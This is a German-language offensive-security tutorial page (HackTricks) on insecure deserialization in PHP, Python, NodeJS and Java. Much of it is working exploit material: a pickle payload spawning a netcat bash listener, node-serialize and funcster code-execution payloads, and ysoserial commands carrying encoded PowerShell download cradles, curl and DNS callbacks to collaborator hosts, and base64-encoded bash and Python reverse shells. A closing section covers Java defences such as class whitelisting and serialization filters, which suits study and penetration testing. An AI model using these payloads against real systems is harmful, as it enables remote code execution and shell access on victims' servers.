Deserialization

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Serialisierung wird als die Methode verstanden, ein Objekt in ein Format umzuwandeln, das erhalten bleiben kann, mit dem Ziel, das Objekt entweder zu speichern oder als Teil eines Kommunikationsprozesses zu übertragen. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt zu einem späteren Zeitpunkt wiederhergestellt werden kann, wobei seine Struktur und sein Zustand erhalten bleiben.

Deserialisierung hingegen ist der Prozess, der der Serialisierung entgegenwirkt. Es beinhaltet das Entgegennehmen von Daten, die in einem bestimmten Format strukturiert wurden, und das Zurückführen in ein Objekt.

Deserialisierung kann gefährlich sein, da sie potenziell Angreifern ermöglicht, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder unerwartetes Verhalten in der Anwendung während des Objektrekonstruktionsprozesses zu verursachen.

PHP

In PHP werden spezifische magische Methoden während der Serialisierungs- und Deserialisierungsprozesse verwendet:

  • __sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu übertragen oder ähnliche Aufräumarbeiten durchzuführen.

  • __wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Es wird verwendet, um eventuelle während der Serialisierung verlorene Datenbankverbindungen wiederherzustellen und andere Initialisierungsaufgaben durchzuführen.

  • __unserialize: Diese Methode wird anstelle von __wakeup aufgerufen (falls vorhanden), wenn ein Objekt deserialisiert wird. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu __wakeup.

  • __destruct: Diese Methode wird aufgerufen, wenn ein Objekt kurz davor ist, zerstört zu werden oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten wie das Schließen von Datei-Handles oder Datenbankverbindungen verwendet.

  • __toString: Diese Methode ermöglicht es, ein Objekt als Zeichenkette zu behandeln. Sie kann zum Lesen einer Datei oder für andere Aufgaben basierend auf den Funktionsaufrufen darin verwendet werden und bietet effektiv eine textuelle Darstellung des Objekts.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Wenn Sie sich die Ergebnisse ansehen, können Sie feststellen, dass die Funktionen __wakeup und __destruct aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials die Funktion __toString aufgerufen wird, wenn versucht wird, ein Attribut zu drucken, aber anscheinend passiert das nicht mehr.

Die Methode __unserialize(array $data) wird anstelle von __wakeup() aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es Ihnen, das Objekt zu deserialisieren, indem Sie die serialisierten Daten als Array bereitstellen. Sie können diese Methode verwenden, um Eigenschaften zu deserialisieren und alle erforderlichen Aufgaben bei der Deserialisierung auszuführen.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Sie können ein erklärtes PHP-Beispiel hier lesen: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf oder hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Klassen

Sie könnten die PHP-Autoload-Funktionalität missbrauchen, um beliebige PHP-Dateien und mehr zu laden:

pagePHP - Deserialization + Autoload Classes

Serialisierung von referenzierten Werten

Wenn Sie aus irgendeinem Grund einen Wert als Referenz auf einen anderen serialisierten Wert serialisieren möchten, können Sie das tun:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial für PHP)

PHPGGC kann Ihnen dabei helfen, Payloads zu generieren, um PHP-Deserialisierungen zu missbrauchen. Beachten Sie, dass Sie in mehreren Fällen möglicherweise keinen Weg finden können, eine Deserialisierung im Quellcode der Anwendung zu missbrauchen, aber Sie könnten in der Lage sein, den Code externer PHP-Erweiterungen zu missbrauchen. Überprüfen Sie daher, wenn möglich, die phpinfo() des Servers und suchen Sie im Internet (und sogar in den Gadgets von PHPGGC) nach möglichen Gadgets, die Sie missbrauchen könnten.

Deserialisierung von phar:// Metadaten

Wenn Sie eine LFI gefunden haben, die nur die Datei liest und den darin enthaltenen PHP-Code nicht ausführt, beispielsweise mit Funktionen wie file_get_contents(), fopen(), file() oder file_exists(), md5_file(), filemtime() oder filesize(). Können Sie versuchen, eine Deserialisierung auszunutzen, die beim Lesen einer Datei mit dem phar-Protokoll auftritt. Für weitere Informationen lesen Sie den folgenden Beitrag:

pagephar:// deserialization

Python

Pickle

Wenn das Objekt unpickelt wird, wird die Funktion __reduce__ ausgeführt. Wenn ausgenutzt, könnte der Server einen Fehler zurückgeben.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Für weitere Informationen zum Entkommen aus Pickle-Gefängnissen siehe:

pageBypass Python sandboxes

Yaml & jsonpickle

Die folgende Seite präsentiert die Technik, um eine unsichere Deserialisierung in YAML-Python-Bibliotheken zu missbrauchen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungspayloads für Pickle, PyYAML, jsonpickle und ruamel.yaml zu generieren:

pagePython Yaml Deserialization

Klassenverschmutzung (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

JS Magische Funktionen

JS hat keine "magischen" Funktionen wie PHP oder Python, die nur zur Erstellung eines Objekts ausgeführt werden. Aber es hat einige Funktionen, die häufig verwendet werden, auch ohne sie direkt aufzurufen, wie toString, valueOf, toJSON. Wenn Sie bei einer Deserialisierung diese Funktionen kompromittieren, um anderen Code auszuführen (potenziell die Prototyp-Verschmutzung missbrauchen), könnten Sie beliebigen Code ausführen, wenn sie aufgerufen werden.

Ein weiterer "magischer" Weg, eine Funktion aufzurufen, ohne sie direkt aufzurufen, besteht darin, ein Objekt zu kompromittieren, das von einer asynchronen Funktion zurückgegeben wird (Promise). Denn wenn Sie dieses Rückgabeobjekt in ein anderes Promise mit einer Eigenschaft namens "then" vom Typ Funktion umwandeln, wird es einfach ausgeführt, weil es von einem anderen Promise zurückgegeben wird. Folgen Sie diesem Link für weitere Informationen.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ und prototype-Vergiftung

Wenn Sie mehr über diese Technik erfahren möchten, schauen Sie sich das folgende Tutorial an:

pageNodeJS - __proto__ & prototype Pollution

Diese Bibliothek ermöglicht es, Funktionen zu serialisieren. Beispiel:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

Das serialisierte Objekt wird wie folgt aussehen:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Sie können im Beispiel sehen, dass beim Serialisieren einer Funktion das Flag _$$ND_FUNC$$_ an das serialisierte Objekt angehängt wird.

Innerhalb der Datei node-serialize/lib/serialize.js finden Sie dasselbe Flag und wie der Code es verwendet.

Wie Sie im letzten Code-Abschnitt sehen können, wird wenn das Flag gefunden wird eval verwendet, um die Funktion zu deserialisieren, sodass im Grunde genommen Benutzereingaben innerhalb der eval-Funktion verwendet werden.

Jedoch wird allein durch das Serialisieren einer Funktion diese nicht ausgeführt, da es erforderlich wäre, dass ein Teil des Codes y.rce aufruft in unserem Beispiel und das ist höchst unwahrscheinlich. Wie auch immer, Sie könnten einfach das serialisierte Objekt modifizieren und einige Klammern hinzufügen, um die serialisierte Funktion automatisch auszuführen, wenn das Objekt deserialisiert wird. Im nächsten Code-Abschnitt achten Sie auf die letzten Klammern und wie die unserialize-Funktion den Code automatisch ausführen wird:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Wie bereits erwähnt, wird diese Bibliothek den Code nach _$$ND_FUNC$$_ abrufen und ihn mit eval ausführen. Um also Code automatisch auszuführen, können Sie den Teil der Funktionsdefinition löschen und die letzte Klammer entfernen und einfach einen JavaScript-Einzeller ausführen, wie im folgenden Beispiel:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Sie können hier weitere Informationen darüber finden, wie man diese Schwachstelle ausnutzen kann.

Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit von Standard-Objekten; sie fallen außerhalb des zugänglichen Bereichs. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf Standard-Objekten aufzurufen, was zu Ausnahmen wie "ReferenceError: console is not defined" führt, wenn Befehle wie console.log() oder require(something) verwendet werden.

Trotz dieser Einschränkung ist die Wiederherstellung des vollen Zugriffs auf den globalen Kontext, einschließlich aller Standard-Objekte, durch einen spezifischen Ansatz möglich. Durch direkte Nutzung des globalen Kontexts kann diese Einschränkung umgangen werden. Zum Beispiel kann der Zugriff mithilfe des folgenden Snippets wiederhergestellt werden:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Für weitere Informationen lesen Sie diese Quelle.

Das serialize-javascript-Paket ist ausschließlich für Serialisierungszwecke konzipiert und verfügt über keine integrierten Deserialisierungsfunktionen. Benutzer sind dafür verantwortlich, ihre eigene Methode zur Deserialisierung zu implementieren. Ein direkter Einsatz von eval wird vom offiziellen Beispiel zur Deserialisierung serialisierter Daten vorgeschlagen:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Wenn diese Funktion zum Deserialisieren von Objekten verwendet wird, können Sie sie leicht ausnutzen:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Für weitere Informationen lesen Sie diese Quelle.

Cryo-Bibliothek

Auf den folgenden Seiten finden Sie Informationen darüber, wie Sie diese Bibliothek missbrauchen können, um beliebige Befehle auszuführen:

Java - HTTP

In Java werden Deserialisierungs-Rückrufe während des Deserialisierungsprozesses ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige Payloads erstellen, die diese Rückrufe auslösen und so potenziell schädliche Aktionen ausführen.

Fingerabdrücke

White Box

Um potenzielle Serialisierungsanfälligkeiten im Code zu identifizieren, suchen Sie nach:

  • Klassen, die das Serializable-Interface implementieren.

  • Verwendung von java.io.ObjectInputStream, readObject, readUnshare-Funktionen.

Achten Sie besonders auf:

  • XMLDecoder, die mit von externen Benutzern definierten Parametern verwendet werden.

  • Die Methode fromXML von XStream, insbesondere wenn die XStream-Version kleiner oder gleich 1.46 ist, da sie anfällig für Serialisierungsprobleme ist.

  • ObjectInputStream in Verbindung mit der Methode readObject.

  • Implementierung von Methoden wie readObject, readObjectNodData, readResolve oder readExternal.

  • ObjectInputStream.readUnshared.

  • Allgemeine Verwendung von Serializable.

Black Box

Für Black-Box-Tests suchen Sie nach spezifischen Signaturen oder "Magic Bytes", die auf Java-serialisierte Objekte hinweisen (ausgehend von ObjectInputStream):

  • Hexadezimales Muster: AC ED 00 05.

  • Base64-Muster: rO0.

  • HTTP-Antwortheader mit Content-Type auf application/x-java-serialized-object gesetzt.

  • Hexadezimales Muster, das auf vorherige Komprimierung hinweist: 1F 8B 08 00.

  • Base64-Muster, das auf vorherige Komprimierung hinweist: H4sIA.

  • Webdateien mit der Erweiterung .faces und dem Parameter faces.ViewState. Das Entdecken dieser Muster in einer Webanwendung sollte eine Untersuchung gemäß des Beitrags über die Deserialisierung des Java JSF ViewState auslösen.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Überprüfen Sie, ob verwundbar

Wenn Sie mehr über die Funktionsweise eines Java Deserialisierungsangriffs erfahren möchten, sollten Sie sich Grundlegende Java-Deserialisierung, Java DNS-Deserialisierung und CommonsCollection1 Payload ansehen.

White-Box-Test

Sie können überprüfen, ob eine Anwendung mit bekannten Sicherheitslücken installiert ist.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Sie könnten versuchen, alle Bibliotheken zu überprüfen, die als verwundbar bekannt sind und für die Ysoserial einen Exploit bereitstellen kann. Oder Sie könnten die Bibliotheken überprüfen, die auf dem Java-Deserialization-Cheat-Sheet angegeben sind. Sie könnten auch gadgetinspector verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können. Beim Ausführen von gadgetinspector (nach dem Erstellen) sollten Sie sich nicht um die Vielzahl von Warnungen/Fehlern kümmern, die angezeigt werden, sondern es einfach durchlaufen lassen. Es wird alle Ergebnisse unter gadgetinspector/gadget-results/gadget-chains-Jahr-Monat-Tag-Stunde-Minute.txt speichern. Bitte beachten Sie, dass gadgetinspector keinen Exploit erstellt und möglicherweise falsche positive Ergebnisse anzeigt.

Black Box Test

Mit der Burp-Erweiterung gadgetprobe können Sie feststellen, welche Bibliotheken verfügbar sind (und sogar die Versionen). Mit diesen Informationen könnte es einfacher sein, ein Payload auszuwählen, um die Schwachstelle auszunutzen. Lesen Sie hier mehr über GadgetProbe. GadgetProbe konzentriert sich auf ObjectInputStream Deserialisierungen.

Mit der Burp-Erweiterung Java Deserialization Scanner können Sie anfällige Bibliotheken identifizieren, die mit ysoserial ausgenutzt und ausgenutzt werden können. Lesen Sie hier mehr über den Java Deserialization Scanner. Der Java Deserialization Scanner konzentriert sich auf ObjectInputStream Deserialisierungen.

Sie können auch Freddy verwenden, um Schwachstellen bei Deserialisierungen in Burp zu erkennen. Dieses Plugin erkennt Schwachstellen, die nicht nur mit ObjectInputStream zusammenhängen, sondern auch Schwachstellen von Json- und Yml-Deserialisierungsbibliotheken. Im aktiven Modus wird versucht, diese mit Sleep- oder DNS-Payloads zu bestätigen. Weitere Informationen zu Freddy finden Sie hier.

Serialization Test

Es geht nicht nur darum zu überprüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal könnten Sie in der Lage sein, die Daten innerhalb des serialisierten Objekts zu ändern und einige Überprüfungen zu umgehen (vielleicht erhalten Sie Administratorrechte in einer Webanwendung). Wenn Sie ein Java-Serialisierungsobjekt finden, das an eine Webanwendung gesendet wird, können Sie SerializationDumper verwenden, um das serialisierte Objekt, das gesendet wird, in einem menschenlesbaren Format auszugeben. Es wäre einfacher zu wissen, welche Daten Sie senden, um sie zu ändern und einige Überprüfungen zu umgehen.

Exploit

ysoserial

Das Hauptwerkzeug zum Ausnutzen von Java-Deserialisierungen ist ysoserial (hier herunterladen). Sie können auch in Betracht ziehen, ysoseral-modified zu verwenden, mit dem Sie komplexe Befehle (zum Beispiel mit Pipes) verwenden können. Beachten Sie, dass dieses Tool darauf ausgerichtet ist, ObjectInputStream auszunutzen. Ich würde empfehlen, zunächst den "URLDNS"-Payload zu verwenden, bevor Sie einen RCE-Payload verwenden, um zu testen, ob die Injektion möglich ist. Beachten Sie jedoch, dass der "URLDNS"-Payload möglicherweise nicht funktioniert, aber ein anderer RCE-Payload schon.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Bei der Erstellung eines Payloads für java.lang.Runtime.exec() können Sie keine Sonderzeichen wie ">" oder "|" verwenden, um die Ausgabe einer Ausführung umzuleiten, "$()" um Befehle auszuführen oder sogar Argumente an einen Befehl zu übergeben, die durch Leerzeichen getrennt sind (Sie können echo -n "hello world" ausführen, aber nicht python2 -c 'print "Hello world"'). Um den Payload korrekt zu codieren, könnten Sie diese Webseite verwenden.

Verwenden Sie das folgende Skript, um alle möglichen Codeausführungs-Payloads für Windows und Linux zu erstellen und testen Sie sie dann auf der anfälligen Webseite:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Sie können https://github.com/pwntester/SerialKillerBypassGadgetCollection zusammen mit ysoserial verwenden, um mehr Exploits zu erstellen. Weitere Informationen zu diesem Tool finden Sie in den Folien des Vortrags, in dem das Tool vorgestellt wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec kann verwendet werden, um Payloads zu generieren, um verschiedene Json- und Yml-Serialisierungsbibliotheken in Java zu exploitieren. Um das Projekt zu kompilieren, musste ich diese Abhängigkeiten zur pom.xml hinzufügen:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installiere Maven und kompiliere das Projekt:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Erfahren Sie mehr über diese Java JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Labs

Warum

Java verwendet häufig Serialisierung für verschiedene Zwecke wie:

  • HTTP-Anfragen: Serialisierung wird weit verbreitet in der Verwaltung von Parametern, ViewState, Cookies usw. eingesetzt.

  • RMI (Remote Method Invocation): Das Java RMI-Protokoll, das ausschließlich auf Serialisierung beruht, ist ein Eckpfeiler für die Remote-Kommunikation in Java-Anwendungen.

  • RMI über HTTP: Diese Methode wird häufig von Java-basierten Thick-Client-Webanwendungen verwendet, die Serialisierung für alle Objektkommunikationen nutzen.

  • JMX (Java Management Extensions): JMX verwendet Serialisierung zum Übertragen von Objekten über das Netzwerk.

  • Benutzerdefinierte Protokolle: In Java erfolgt die Übertragung von Roh-Java-Objekten nach Standardpraxis, was in bevorstehenden Exploit-Beispielen demonstriert wird.

Prävention

Transiente Objekte

Eine Klasse, die Serializable implementiert, kann jedes Objekt innerhalb der Klasse als transient implementieren, das nicht serialisierbar sein sollte. Zum Beispiel:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Vermeiden Sie die Serialisierung einer Klasse, die das Serializable-Interface implementieren muss

In Szenarien, in denen bestimmte Objekte das Serializable-Interface implementieren müssen aufgrund der Klassenhierarchie, besteht das Risiko einer unbeabsichtigten Deserialisierung. Um dies zu verhindern, stellen Sie sicher, dass diese Objekte nicht deserialisierbar sind, indem Sie eine final readObject()-Methode definieren, die konsequent eine Ausnahme wirft, wie unten gezeigt:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Verbesserung der Deserialisierungssicherheit in Java

Die Anpassung von java.io.ObjectInputStream ist ein praktischer Ansatz zur Absicherung von Deserialisierungsprozessen. Diese Methode ist geeignet, wenn:

  • Der Deserialisierungscode unter Ihrer Kontrolle steht.

  • Die für die Deserialisierung erwarteten Klassen bekannt sind.

Überschreiben Sie die Methode resolveClass(), um die Deserialisierung nur auf erlaubte Klassen zu beschränken. Dadurch wird die Deserialisierung jeder Klasse außer denen, die explizit zugelassen sind, verhindert, wie im folgenden Beispiel, das die Deserialisierung nur auf die Klasse Bicycle beschränkt:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Die Verwendung eines Java-Agents zur Sicherheitsverbesserung bietet eine alternative Lösung, wenn eine Code-Änderung nicht möglich ist. Diese Methode gilt hauptsächlich für das Blacklisting schädlicher Klassen, unter Verwendung eines JVM-Parameters:

-javaagent:name-of-agent.jar

Es bietet eine Möglichkeit, die Deserialisierung dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Code-Änderungen nicht praktikabel sind.

Überprüfen Sie ein Beispiel in rO0 von Contrast Security

Implementierung von Serialisierungsfiltern: Java 9 führte Serialisierungsfilter über das ObjectInputFilter-Interface ein, das einen leistungsstarken Mechanismus zur Spezifizierung von Kriterien bietet, die serialisierte Objekte erfüllen müssen, bevor sie deserialisiert werden. Diese Filter können global oder pro Stream angewendet werden und bieten eine granulare Kontrolle über den Deserialisierungsprozess.

Um Serialisierungsfilter zu nutzen, können Sie einen globalen Filter festlegen, der für alle Deserialisierungsvorgänge gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Nutzung externer Bibliotheken zur Verbesserung der Sicherheit: Bibliotheken wie NotSoSerial, jdeserialize und Kryo bieten erweiterte Funktionen zur Steuerung und Überwachung der Java-Deserialisierung. Diese Bibliotheken können zusätzliche Sicherheitsebenen bieten, wie das Whitelisting oder Blacklisting von Klassen, die Analyse serialisierter Objekte vor der Deserialisierung und die Implementierung benutzerdefinierter Serialisierungsstrategien.

  • NotSoSerial unterbricht Deserialisierungsprozesse, um die Ausführung nicht vertrauenswürdigen Codes zu verhindern.

  • jdeserialize ermöglicht die Analyse serialisierter Java-Objekte, ohne sie zu deserialisieren, um potenziell bösartige Inhalte zu identifizieren.

  • Kryo ist ein alternatives Serialisierungsframework, das Geschwindigkeit und Effizienz betont und konfigurierbare Serialisierungsstrategien bietet, die die Sicherheit verbessern können.

Referenzen

JNDI Injection & log4Shell

Erfahren Sie, was JNDI Injection ist, wie man sie über RMI, CORBA & LDAP missbrauchen kann und wie man log4shell ausnutzt (und ein Beispiel für diese Schwachstelle) auf der folgenden Seite:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

